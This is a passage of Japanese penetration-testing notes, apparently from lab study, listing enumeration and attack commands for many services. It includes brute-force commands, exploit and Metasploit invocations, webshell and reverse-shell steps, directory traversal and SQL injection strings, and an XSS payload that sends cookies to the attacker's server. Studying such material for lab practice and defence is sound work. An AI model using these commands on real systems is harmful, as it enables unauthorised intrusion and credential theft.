を入れないとファイルを探索するpython3 parsero.py -u 192.168.56.5
robots.txt
が見つかれば、そこにdisallow
されている場所に重要な情報が書かれているかもしれないのでチェック
- HTTP Response Code
200(OK)
リクエストが成功したことを示す204(No Content)
リクエストに対して送信するコンテンツはないが、ヘッダーは有用であることを示す。301(Moved Permanently)
リクエストされたリソースの URL が永遠に変更されたことを示す。
レスポンスで新しい URL が与えられる。
存在するディレクトリに対してアクセスするとこれが帰ってくるが、アクセスできるかは別。302(Found)
リクエストされたリソースの URI が一時的に変更されたことを示す。
URI は将来、新たに変更される可能性がある。
つまり、ディレクトリは存在している。403(Forbidden)
認証されていないなどの理由でクライアントにコンテンツのアクセス権がなく、サーバーが適切なレスポンスの返信を拒否していることを示す500(Internal Server Erro)
サーバー側で処理方法がわからない事態が発生したことを示す。
その他
curl -v "http://192.168.56.10
ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
curl -v -X OPTIONS http://192.168.56.10
で許可されているメソッドがリクエストヘッダに帰ってくる。PUTなどが許可されていないかどうか確認
curl -v "http://192.168.56.10 -b PHPSESSID=isn9ita3kajbt8o8hbruj9hau0
-b
オプションでCookieの値を送信curl -D- -s -o /dev/null http://192.168.56.30/
ヘッダーだけ表示curl 192.168.56.5 -s -L | html2text
レンダリングして表示sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user"
でこのページにSQLインジェクションできるかどうか調査する。--level 5
を付けるとより詳細に調査する。こうしないと発見できないこともある。
GETの時は上記のように書き、POSTの時は、
sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php" --data "q=1&add_value=odm_user"
のように書く。
tomcatの調査
http://target/manager/html
tomcat managerというWebアプリケーションをGUIで管理するものがある。
認証に用いるクレデンシャルはtomcat-users.xml
を参照する。
古いバージョンのTomcatだと、ここにログインするアカウントがデフォルトで存在してるため脆弱。
参考:デフォルトのクレデンシャル
github.compython3 bruteforce-http-auth.py -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt -t http://10.11.1.1:8080/manager/html -v
で/manager/html
をブルートフォース。
手動で行うとCookieによる回数制限があるので、ツールで行う方が都合がよい。(??)msf > use auxiliary/scanner/http/tomcat_mgr_login
CVE-2007-0450
,CVE-2007-1860
Apacheとtomcatを使用している場合、バージョンによっては上記のようなディレクトリトラバーサルが可能。
対象となるのは、Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10
また、ApacheとTomcatの通信にApache mod_jkモジュールを使用している場合も同様.
対象となるのは、mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23
axis2の調査
sudo python clusterd.py -a axis2 -i 192.168.56.31 -p 80 --deploy shell.jar --deployer service_upload --usr-auth admin:axis2 –invoke
clusterdというツールでシェルアップロードなどの攻撃ができる。
他にも、Jboss, ColdFusion, WebLogic, Tomcat, Railo, Axis2, Glassfishのフレームワークを攻撃できるらしい
ただし、--gen-payload
オプションは内部でmsfpayload
を使用しているがこれはもう使えないので最新版のKaliでは動作しない。msfvenom
版は開発中とのこと。
src/module/generate_payload.py
を参考にして自分でmsfvenom
を使用するのがよさそう
参考:
github.comhttp://192.168.56.31/axis2/axis2-admin/
にはデフォルトでUser:admin, password:axis2でログインアカウントが用意されており、ログインしてWebshellを設置できるかも。スキャナを用いた調査
python sparta.py
SPARTA
GUIのネットワーク周りのスキャナ。rootで実行するとエラーがでるのでuserで実行
openvasmd
,openvas-start
で起動
OpenVAS
無償のスキャナ.[New target]と[New task]で標的のIPを設定。
参考:
脆弱性診断 - OpenVAS(使い方編) -ラズパイでワナビな日々をOWASP ZAP
OWASP ZAP
[Alerts]に発見された脆弱性がのっている。
sudo python3 cmsmap.py http://192.168.56.30
CMSmap
使われているCMSを特定。
その他のサービスの調査
sshの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
-L
でユーザー名のファイルを指定、-e nsr
でnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定。
他の調査でユーザー名が判明している場合は、
hydra -l john -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
ncrack -p 22 --user root -P /usr/share/wordlists/rockyou.txt 10.11.1.1
patator ssh_login host=10.11.1.1 user=root password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'
https://www.ihacklabs.com/en/brute-force-with-patator/www.ihacklabs.com
python2 /usr/share/exploitdb/exploits/linux/remote/45939.py 192.168.56.22 root
OpenSSHのバージョンが7.7以下なら上記のコマンドでSSH接続できるユーザーを確認できる。(自分の環境ではsudo pip install -U cryptography
をする必要があった)medusa -h 192.168.56.25 -u root -P /usr/share/john/password.lst -t 4 -M ftp
www.hackingarticles.inpython crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
github.com
秘密鍵でブルートフォース
以下のデフォルトの秘密鍵でも試してみる
github.com
RDPの調査
crowbar -b rdp -s 10.11.1.1/32 -u administrator -C password.txt -n 4 -v
v
オプションですべての試行を表示。
個人的にこれが一番安定して速く動作しているように思う。
hydra
はうまく動作していない気がする。ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
BruteForce Login。crowbar
よりはかなり遅いが一応できている。
Exploitは以下の通り、IEを使ったClient Side Attackしかないので、BruteForce以外は悪用はない(???)
変なポートの調査
nc 192.168.56.10 666
telnet 192.168.56.10 666
などでアクセスしてみる。
snmp(udp161)の調査
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
snmp-check 192.168.56.8
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
use auxiliary/scanner/snmp/snmp_login
参考文献
net123.tistory.com
telnet(23)の調査
telnet 10.11.1.1 23
どんなサービスが動いているのか確認。patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
Authenticationの時の挙動(Login:なのかUsername:なのか)によって変わりそう?なのでそれを確認してから実行したほうがよさそう。
ちゃんとできてるかどうかWireshark
で確認した方がよいかも?
domain(53)の調査
nslookup target-ip nameserver-ip
nameserver-ipをName Server(53 domainが稼働しているサーバー)として、target-ipのドメインをIPアドレスから逆引きする。dig axfr target.com @10.10.10.1
ZoneTransferを試す。dnsrecon -d target.com -t axfr -n 10.10.10.1
これでもできる。
smtp(25)の調査
telnet 192.168.56.5 25
telnet
か-C
オプションを付けてnc
でバナーを取得
VRFY
,EXPN
,HELO 10.10.10.10
,EHLO 10.10.10.10
,AUTH LOGIN
HELO - EHLO - Extended SMTP. STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic. RCPT - Address of the recipient. DATA - Starts the transfer of the message contents. RSET - Used to abort the current email transaction. MAIL - Specifies the email address of the sender. QUIT - Closes the connection. HELP - Asks for the help screen. AUTH - Used to authenticate the client to the server. VRFY - Asks the server to verify is the email user's mailbox exists.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu) VRFY root 252 2.0.0 root VRFY roooooot 550 5.1.1 <roooooot>: Recipient address rejected: User unknown in local recipient table
VRFY
コマンドでユーザーが存在するか、そのユーザーにメールアドレスが存在するか確認できる。
メール送信ポートだが、メールを取得することはできないので注意。
AUTH LOGIN
でbase64エンコードされた状態でならログイン試行できる。
AUTH LOGIN 334 VXNlcm5hbWU6 # Username cm9vdAo= # root 334 UGFzc3dvcmQ6 # Password cm9vdAo= # root 535 Authentication Failed
smtp-user-enum -M VRFY -U users.txt -t 192.168.56.5
VRFY
などのコマンドが使える場合、ユーザーをEnumできる./smtp-user-enum -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.11.1.1 25 -V -m RCPT
userは存在するが、そのUserにメールアドレスが存在しない場合、VRFY
ではErrorとなるので上記のデフォルトのsmtp-user-enum
では検知できない。
そのため違うバージョンをInstallして実行する。
RCPT TO:root
で送信先のUserを指定してOKかどうか確認する。
以下のやつが使いやすい気がする。
nmap -p 25 192.168.56.5 --script=smtp-enum-users.nse
use auxiliary/scanner/smtp/smtp_enum
www.puni.net
pop3(110,995)の調査
telnet 192.168.56.5 110
telnet
か-C
オプションを付けてnc
でバナーを取得
USER root
PASS root
でログイン
LIST
,RETR
nmap -p 110 192.168.56.5 --script=pop3-*
hydra -e nsr -L /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt -t 4 10.11.1.1 pop3s
openssl s_client -connect 10.11.1.1:995
995ポートではこれで、あとは同じ。
www.hackingarticles.in
IMAP(143/993)の調査
telnet 10.11.1.1 143
サーバーに保存されている電子メールにアクセスできる。
? NO login failed
と出るとログイン失敗。
? login {user} {pass} ?? LIST "" "*" ??? select inbox ???? search all ??? fetch 1 full ? logout
openssl s_client -connect 10.11.1.1:993 -crlf
SSL接続。hydra -L user -P /usr/share/wordlists/rockyou.txt 10.11.1.1 -s 143 imap
smux(199)の調査
smux はUNIXにおけるSNMP用のマルチプレクサ(多重化した複数の情報を単一チャネルによって転送するサービス)である。
特にExploitも見つからないし、無視?
NTP(udp123)の調査
ntpdc -c sysinfo 10.11.1.1
NTP(Network Time Protocol)は、コンピュータに内蔵されているシステムクロックをネットワークを 介して正しく同期させるためのプロトコル。
NTPにより時刻同期を行うことで指定時間に正しくサービスを動作させたり、出力ログを正しく管理できたり、証明書を利用した認証なども正しく行うことができる。
searchsploit
で検索した感じ、以下のRemoteBOFの一種類しかRemoreExploitはなさそう(??)
FreeBSD 4.2-STABLE
,RedHat Linux 7.0
で実行できる可能性がある。
nntp(119)の調査
telnet 192.168.56.5 119
NNTPとは、インターネットなどのTCP/IPネットワーク上で記事の投稿や配信、閲覧などを行うためのプロトコル(通信規約)の一つ。標準のポート番号はTCPの119番。
HELP
,LIST
nmap -p 119 --script=nntp-ntlm-info 192.168.56.5
以下の結果とググった感じだと、linuxのExploitはなさそう?
msdtcの調査
分散トランザクションコーディネーターは、データベース(SQL Server)とWebサーバー間のトランザクションを調整するWindowsサービス。
悪用できるExploitはなさそう。
ただし、存在しないDLLを読み込もうとするため、DLLHijackが可能なのでPEで使えるかも。
rpcbind(111) の調査
rpcinfo -s 192.168.56.5
RPC(Remote Procedure Call)系のサーバ・クライアント(NFS、NISなど)と通信を行うためのもの
クライアントとプログラムの通信を実現する
rpcinfoコマンドは、RPCサーバーに対してRPC呼び出しを行い、サーバーの状態を報告する
悪用できる可能性は低い
Exploitは以下の通り、dosしかない。
NFS (Network File System)の調査
nmap -p 2049 --script=nfs-* 192.168.56.5
scanner/nfs/nfsmount
showmount -a 192.168.56.5
マシンから他のマシンへと、ネットワークを通じて ディレクトリとファイルを共有することを可能にするらしい
「nlockmgr」と「mountd」は、それぞれNFSのロックマネージャーとリッスンサーバーである
-aオプションを付けると、クライアントのホスト名と共有しているディレクトリ名が表示される。
-eオプションを付けると、ディレクトリを共有可能な相手が表示される。
ここで、マウントできるディレクトリがあれば、Kaliにマウントして、.ssh
ディレクトリを作成してauthorized_keys
(公開鍵)を配置することでSSH接続できるようになる。
computersecuritystudent.com
NIS(Network Infomation Server)
use auxiliary/gather/nis_ypserv_map
TCP/IP上で コンピュータの情報を共有するサービス
よくわからない
www.rapid7.com
netbios-ns(udp137)の調査
nbtscan 10.11.1.0
Microsoftネットワークに接続しているパソコン同士は,137番(NETBIOS Name Service)や138番(NETBIOS Datagram Service)ポートを使ってIPアドレスを取得する。
その後,ファイル共有やプリンタ共有などの実際の通信をする。
なのでudp137,138なければ139ポートではなく445ポートを使ってファイル共有している(??)
NBTscanは、リモートコンピュータのNetBIOS名テーブルをネットワーク経由で調査するツール。
ターゲットホストに対してNetBIOS名を問い合わせることにより、そのホストのコンピュータ名、ドメイン名(あるいはワークグループ名)、稼動しているNetBIOS関連サービス、ローカルログオンユーザ名などを知ることができる。
直接悪用できる可能性は低い。
SMB(139,445)の調査
nmap -p 139 --script=smb-* 10.11.1.1
139/TCP NETBIOS Session Service(netbios-ssn) 445/TCP Direct Hosting of SMB(microsoft-ds)
ポート137~139は「NBT(NetBIOS over TCP/IP)」のポート、ポート445はWindows 2000から導入された「Direct Hosting of TCP/IP」のポート。
WIndows2000以前がある混在環境では,139番ポートを使ってSMBで通信する必要があるため、139ポートも445も両方空いている。
139と445で応答したほうを使用している。(?)
SMBのバージョン 搭載するWindows SMB 2.0 Windows Vista および Windows Server 2008 SMB 2.1 Windows 7 および Windows Server 2008 R2 SMB 3.0 Windows 8 および Windows Server 2012 SMB 3.02 Windows 8.1 および Windows Server 2012 R2
enum4linux 192.168.56.20
有益な情報を一覧で表示。ユーザー名、共有フォルダへのアクセス可否がわかる。
enum4linux
は139と445両方に問い合わせて応答したほうと通信するっぽい。
enum4linux
でSambaのバージョンが表示されない場合は、Metasploitかsmbver.shを使用する。
Windows NT、2000、およびXP(ほとんどのSMB1),samba(unix)ならデフォルトでNULLセッションが有効で大量の情報が見込める。smbclient //192.168.56.17/kath
もし共有フォルダがkath
という名前なら、上記のコマンドでアクセス可能。smbmap -H 192.168.56.20 -P 445
で共有フォルダを一覧表示できる。use auxiliary/scanner/smb/smb_version
metasploitのこの機能でも判明することがある。bash smbver.sh 10.11.1.115 139
enum4linuxでSambaのバージョンが特定できないときに使う。
github.compython3 smbrute.py -h 10.11.1.1 -u root -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
Brute force.C$,Admin$,IPC$
WindowsはデフォルトでSMBを介して、C$,Admin$,IPC$の管理共有と隠し共有を公開している。
C $共有で、リモートマシンのCドライブにアクセスできる。
Admin $を使用すると、Windowsインストールディレクトリにアクセスできる。
ただし、これらの共有をマウントできるようにするには、リモートシステムの管理者である必要がある。
IPC $は、より一般的にIPCと呼ばれるプロセス間通信を容易にするために使用されるWindows内の特別な共有。
つまり、他の共有のようなファイルまたはディレクトリへのアクセスを許可せず、リモートシステムで実行されているプロセスとの通信を許可する。
具体的には、IPC $は名前付きパイプを公開する。
名前付きパイプは、リモートプロセスと通信するために読み書きできる。
このような名前付きパイプは、アプリケーションがパイプを開いてWindows Serverサービス(SMB)に登録するときに作成され、IPC $共有によって公開されるようになる。
そのような名前付きパイプに書き込まれたデータはリモートプロセスに送信され、逆に、リモートプロセスによって書き込まれた出力データは、ローカルアプリケーションによってパイプから読み取ることができる。
www.hackingarticles.in
により詳細な情報がのっている。python smbexec.py Administrator:password@10.11.1.1
Administratorなどの資格情報がわかっているなら、Impacketのツールを使ってログインできる。
MSRPC(135)の調査
nmap 192.168.0.101 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003
なら脆弱である可能性がある。
IRCの調査
CUPS(631)の調査
CUPSは,Mac OSやLinuxを含むUNIX系OSの印刷システムで中核を成すサービスで、印刷データを管理する。
Exploitは以下の通りこれくらいある。
CUPS < 2.0.3
でRCEが存在しているが、どうやらPrinterに接続されていないとダメっぽい?
root@kali:# python /usr/share/exploitdb/exploits/linux/remote/41233.py -a 10.11.1.1 -b 631 -f lol ty google 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 @0x00string https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py [*] locate available printer [-] no printers
FTPの調査
use auxiliary/scanner/ftp/anonymous
metasploitのFTPスキャナーのエクスプロイト。ユーザー名Anonymousで何ができるのかを調査する。ftp 192.168.56.10
lftp -u anonymous,anonymous 192.168.56.10
などのコマンドでアクセスできる。pwd
,ls
catは使えないのでget ファイル名
でローカルにダウンロードする。filezilla
GUIが使いたければこれ。
VNC(5900)の調査
vncviewer
medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
use auxiliary/scanner/vnc/vnc_login
5900/tcp open vnc syn-ack ttl 128 VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: | VNC Authentication (2) | Tight (16) | Tight auth subtypes: |_ STDV VNCAUTH_ (2)
のような場合、RFB 3.8
プロトコルを使用し、Security typesにVNC Authentication(2)
が使われているため、パスワードのみの認証である(?)
srgia.com
RTSP(554)の調査
RTSPとは、TCP/IPネットワーク上で音声や動画などのストリーミング伝送を行うための制御データの送受信をするプロトコル(通信手順)の一つ。
searchsploit windows rtsp | grep -vi apple | grep -vi dos
せいぜい上記しかExploitがないので、nmapでこれにドンピシャでない限りはExploitは考えなくてよい(?)
identd(113)の調査
[IDENT/AUTH (ident tap; Authentication service)] サーバに対してアクセスした際に、サーバがクライアントに対しユーザ名を要求するために使用するプロトコル。
root@kali:# nc 10.11.1.1 113 22,12 22 , 12 : ERROR : NO-USER 139,43218 139 , 43218 : ERROR : NO-USER 22,43218 22 , 43218 : ERROR : NO-USER 22,0 22 , 0 : ERROR : INVALID-PORT 123,123 123 , 123 : ERROR : NO-USER 0 , 0 : ERROR : UNKNOWN-ERROR
python identi.py 10.11.1.1 -q 22 139 445 113
oracle(1521)の調査
tnscmd10g status -h 10.11.1.1
最初は、通常デフォルトポート(1521 / TCP)に常駐するTNS-Listenerと通信して、対話できるOracle 10gデータベースを発見する。oscanner -s 10.11.1.1 -P 1521
SID(サービス識別子)は基本的にデータベース名であり、インストールに応じて、1つ以上のデフォルトSID、または完全にカスタムのdba定義SIDを持つ場合がある。
SIDはデータベースのインスタンス(実際にメモリ上で動作するもの)である。
有効なSIDが見つかったら、次はアカウント列挙をする。
Lockされていないアカウントがあれば、そのアカウントでログインを試みる。sqlplus DBSNMP/DBSNMP@10.11.1.202:1521/sid;
sqlplusというOracleDBと対話するためのクライアントを用意する必要がある。
ERROR: ORA-03134: Connections to this server version are no longer supported.
となったらSQLPLUSのバージョンをさげる必要がある。
以下、参考文献。
medium.com
Mysqlの調査
nmap -p 3306 --script=mysql-* 10.11.1.11
mysql -h 192.168.56.10 -u root -P 3306
でログインできるかどうか試す。ログインできれば、
show databases;
use データベース名;
show tables;
show columns from テーブル名;
select * from テーブル名;
などを実行できる。
ちなみに
mysql -h localhost -u root -P 3306 -e "show databases;"
をすると-e
だけを実行できる。
また、\! ls
みたいに書くとls
コマンドなどのLinuxコマンドが実行できる。ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306
hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql
use auxiliary/scanner/mysql/mysql_login
medusa -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql
MSSQL(tcp1433/udp1434)の調査
sqsh -S 192.168.1.101 -U sa
MSSQLはデフォルトでは、管理者ユーザーとして「sa」を使用しているため、このブルートフォースを行う。python mssqlclient.py -p 1433 sa:password@10.11.1.1
impakect
のスクリプトを使用できる。
xp_cmdshell reverse-4445.exe
などでファイルを実行できる。nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.1 -p 1433 --script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user",mssql.instance-all
Loginができて、xp_cmdshellをサポートしていればNmapで任意のコマンドを実行できる。hydra -l sa -P /usr/share/wordlists/rockyou.txt 10.11.1.1 mssql
データベースにログインできると、さらに侵害できる可能性あり。
use auxiliary/scanner/mssql/mssql_login
でも可能。use auxiliary/admin/mssql/mssql_enum
- xp_cmdshellは有効かどうか
- saアカウントにパスワードが含まれているかどうか
- システムおよびWindowsがログインしているかどうか
- データベースサーバーが実行されている特権
- 存在するデータベース
などか得られる。
xp_cmdshellが有効になっていれば、SQL Serverを介してリモートシステムでコマンドを実行できる。
use auxiliary/admin/mssql/mssql_exec
で実行したいコマンドを実行する。
詳細は以下の参考文献
www.hackingarticles.in
- xp_cmdshellは有効かどうか
java rmi(1617)の調査
Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい
Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様。
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
Java RMI Server Insecure Default Configuration Java Code Execution(exploit/multi/misc/java_rmi_server
)
のRCE Exploitが存在。
これのMetasploit以外のExploit codeは探したがない???
他にも以下のようなExploitがある。
github.com
Windows Remote Management (WinRM)(5985)の調査
5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)はWindows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み。
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
で認証形式を特定。
悪用するには管理者の資格情報が必要。あれば任意コマンドを遠隔から実行できる。
資格情報がなけれは悪用できるようなExploitはない??
pentestlab.blog
Active Directoryの調査
- ユーザ認証
Kerberos version 5
ドメイン内のユーザーのパスワードがわかっている場合はそれを使ってログインできるかも? - ディレクトリサービス
LDAP version 3
木構造のデータベースを使ってアカウント情報などを管理し、通信にLDAPというプロトコルを用いている。 - ファイル共有
SMB version 1.0 / 2.x / 3.0
以下参考文献。
medium.com
kerberos(88)の調査
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=’<domain>’,userdb=/root/Desktop/usernames.txt <IP>
use auxiliary/gather/kerberos_enumusers (Domain: test.local)
python kerbrute.py -domain test.local -users user -passwords pass -dc-ip 10.11.1.1 -outputfile out.txt -debug -threads 4
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
というエラーが発生すると、クライアントとADとで時間がずれている(?)ので、クライアント側をADと同じか5分以内に修正する必要がある。
rdate -n 10.10.10.100 -v
でKernelサーバーと時刻を同期する。python FindSMB2UPTime.py 192.168.1.101
MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
ドメインユーザーのUser名、Password、SIDが必要。
github.com
ldap(389,636,3268,3269)の調査
nmap -p 389 --script ldap-rootdse (TARGET IP ADDRESS) -vv
匿名/資格情報付きのLDAPデータダンプを実行する。
ldapsearch -LLL -x -H ldap://10.11.1.1 -b '' -s base '(objectclass=*)'
でも同様のことができる。nmap -p 389 --script ldap-brute --script-args \ ldap.base='"cn=schema,dc=targetbox,dc=target"' (TARGET IP ADDRESS) -vv
/usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
でハッシュでTGSチケットを要求して、hashcatでクラックする。
https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Enumeration/ldap.mdgithub.com
kpasswd5(464)
Active Directoryに対するパスワードの変更/設定に使用される。
CMSの調査
ソースコードを見てバージョンが書いてないかなどを確認
githubなどでCMSのソースコードを見て、何らかのクレデンシャルが書かれている可能性のあるファイルなどを確認する
Wordpressの調査
wpscan --url http://192.168.56.17/blog/ --enumerate u
でユーザー名を列挙できる。wpscan --url http://192.168.56.17/blog/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
でパスワードのブルートフォースができる。wpscan --url http://192.168.56.17/blog/ -e u -e at -e ap
でPluginとThemeを特定できる。
または、/wp-content/plugins/などのディレクトリ内を調査する。wpscan --url https://192.168.56.17:12380/blog/ --disable-tls-checks --enumerate u
https通信の場合は--disable-tls-checks
オプションを付ける。nmap -sV --script http-wordpress-enum 192.168.56.24 -p 80
PluginとThemeを列挙するuse exploit/unix/webapp/wp_admin_shell_upload
Wordpressにログインできるようになっていれば、Metasploitでシェルを確立できるruby wp_xmlrpc_brute_force.rb http://10.11.1.1/xmlrpc.php -u admin -P /usr/share/wordlists/rockyou.txt -v
login.php
でブルートフォースを行うと、IPアドレスがロックされたりしてうまく行かないことがあるため、代わりにXMLRPC-APIを使ってブルートフォースを行う。
wpscanにはこの機能はまだないらしい。
以下に動作するRubyスクリプトがある。
WordPress XML-RPC Password Brute Force · GitHub
ブルートフォースでログインできた場合は、ThemesやPluginの404.phpなどを編集して任意のPHPコードに書き換えてWebshellを作成できる。以下参照。
www.hackingarticles.in
その他の調査ツール
Wireshark
Port Knocking
よくわからなければとりあえずキャプチャ
決められたポートを決められた順番で叩くことでファイアーウォールに穴を空けられるような仕組み。Wiresharkでキャプチャhttp.request.method == "POST" or http.request.method == "GET"
これでGET,POSTだけをフィルタリング- 通信をみてデバッグ
- Bad TCP(黒)
パケットが途中でロスしたなどでパケットの順番が入違ったなどのerror。
Networkの問題っぽい。
milestone-of-se.nesuke.com - TCP RST(赤)
RSTフラグ(異常終了を示す)を一方的に送り付ける。
Applicationの問題っぽい。 - TCP SYN/FIN(灰)
http以外のSYN/FIN(TCP 3way handshakeの開始と終了)のパケット。
nmapなどのポートスキャンの時に見られる。
- Bad TCP(黒)
攻撃サーバの立ち上げ
service apache2 start
systemctl start apache2
apacheサーバpython -m SimpleHTTPServer 8000
ruby -run -ehttpd . -p3000
Wordlistの作成
crunch 7 7 -t admin@@ -o passlist.txt
adminaa
,adminab
...などの文字列を作成できる。
@
will insert lower case characters
,
will insert upper case characters
%
will insert numbers
^
will insert symbols
crunch 7 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-space -t admin@@ -o passlist.txt
こうすることで@
のルールにmixalpha-numeric-space
が当てはまる。
参考: www.securitynewspaper.comcewl -w wordlist http://192.168.136.212:1898/?q=node/1
URLの2つリンクを辿った先までのページの中で、3文字以上の単語をWordリストとして保存する。
cewl -w wordlist http://192.168.136.212:1898/?q=node/1 --with-numbers
--with-numbers
オプションを付けないと、例えばpassword123
という文字列が存在していても数字は含めないためpassword
として保存されてしまう。
文字列の変換
2進数10進数16進数ASCII文字の変換
www.rapidtables.com
Crack Zip Password
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip
ファイルの解析
file backup.img
foremost backup.img
passphraseでファイルが保護されてても解析して出力してくれるフォレンジックツールbinwalk -e backup.img
ファイルを解析して出力する
Webサービスへの攻撃
Directory Traversal
directory_traversal_2.php?directory=../
directory_traversal_2.php?directory=file://
directory_traversal_1.php?page=../../../etc/passwd
directory_traversal_1.php?page=file:///etc/passwd
ログイン画面への攻撃
Default Account Login
phpmyadmin
admin \ "" (空白), admin \ admin, admin \ password
root \ "" (空白), root \ root, root \ password
SQL Injection
1' or '1' = '1
基本的なこのSQLインジェクションの入力で試す。
Login Brute Force attack
hydra -L user.txt -P /usr/share/john/password.lst -s 80 192.168.56.20 http-post-form '/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong Username or Password'
medusa -h 192.168.56.32 -U users.txt -P pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:"Login falied" -m FORM-DATA:"post?login=&password=&"
以下に使用できるモジュール一覧がある
https://www.aldeid.com/wiki/Medusapython patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=user.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
accept_cookie=1 follow=1
を入れると、受け取ったCookieを設定してリダイレクト先まで確認.
-l /tmp/patator
オプションでRUNTIME.logにコマンド実行結果を保存
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかでレスポンスサイズが異常なものを検知するとかでもよさそう- Burp Intruder
[Send to Intruder]にして
[Cluster bomb]にして、Payload set 1と2にuser.txtとかをセットして[start attack]
Pro版じゃなければスレッドを1以外にできないのでかなり遅い……
Basic Authentication
python3 bruteforce-http-auth.py -t http://10.11.1.1/webdav/ -u user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt --verbose
詳しくは以下を参照。
github.comhydra -l user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt 10.11.1.1 http-get /target-uri
便利なWordlist
- Login Bruteforce
/usr/share/metasploit-framework/data/wordlists/http_default_users.txt
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
/usr/share/john/password.lst
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt
大文字のものを小文字に変換したファイルを自作した。/usr/share/wordlists/rockyou.txt
- Web file bruteforce
/usr/share/dirb/wordlists/common.txt
/usr/share/wfuzz/wordlist/vulns/cgis.txt
/usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
/usr/share/SecLists/Discovery/Web-Content/quickhits.txt
/usr/share/SecLists/Discovery/Web-Content/common.txt
これらのファイルを結合してもいいけど、wfuzz
の場合はエラーで詰まることもあるので小分けした方がよい(?)
Cookieの奪取
- 管理者のCookieを奪取してログイン
他のページにXSSができれば、管理者のCookieを<script>location.href='http://192.168.56.5/xss.php?gimme='+document.cookie;</script>
などで自分のローカルサーバーに送信させる。
CMS
暗号の解読
Session Tokenの解析
BurpsuiteのSequencerという機能でセッショントークンを解析できる。通常100以上のトークンがあれば調べてくれる
TLS/SSL Vuln Scanner
sslscan --no-failed --version 192.168.56.33:9443
